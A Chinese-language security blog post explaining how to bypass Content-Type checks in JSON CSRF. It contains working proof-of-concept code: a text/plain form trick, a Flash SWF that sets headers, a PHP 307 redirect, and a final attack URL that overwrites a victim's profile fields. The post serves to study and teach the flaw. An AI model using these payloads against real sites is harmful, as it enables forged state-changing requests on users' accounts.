Author: JoyChou@Meili-inc
Mail: [email protected]
前段时间,看到一个POST为JSON格式的CSRF,并且验证了Content-Type是否是application/json。构造后发现:
<html>
<title>JSON CSRF POC</title>
<form action="http://test.joychou.org" method="POST" enctype="text/plain" >
<input name='{"name":"attacker","email":"[email protected]","ignore_me":"' value='test"}' type='hidden'>
</form>
<script>
document.forms[0].submit();
</script>
</html>
{name: "attacker", email: "[email protected]", ignore_me: "=test"}
注意,form的enctype参数不能设置位Content-Type。
该POC利用多一个key value的形式,去闭合多余的符号。如果存在CSRF的漏洞页面能识别多余的key value,那么这种方式是可行的。
当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
</form>
</html>
不过,我们可以利用flash的跨域 + 307跳转来构造POC。需要环境如下:
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var myJson:String = this.root.loaderInfo.parameters.jsonData;
var url:String = this.root.loaderInfo.parameters.php_url;
var endpoint:String = this.root.loaderInfo.parameters.endpoint;
var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
代码很简单,发起一个POST方式的HTTP请求,并且设置Content-Type以及postdata。
Flash的编译和反编译可以使用FFdec,Win和Mac都可使用。csrf_json.swf下载地址:点我下载
<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>
最后的POC
http://attacter.com/csrf_json.swf?jsonData={"weChat":"hacked by joychou","qq":"hacked by joychou","workLocation":"hacked by joychou"}&php_url=http://attacter/307.php&endpoint=http://victim.com/csrfvulpage
我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。
既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?
其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。详情可查看Flash Header黑名单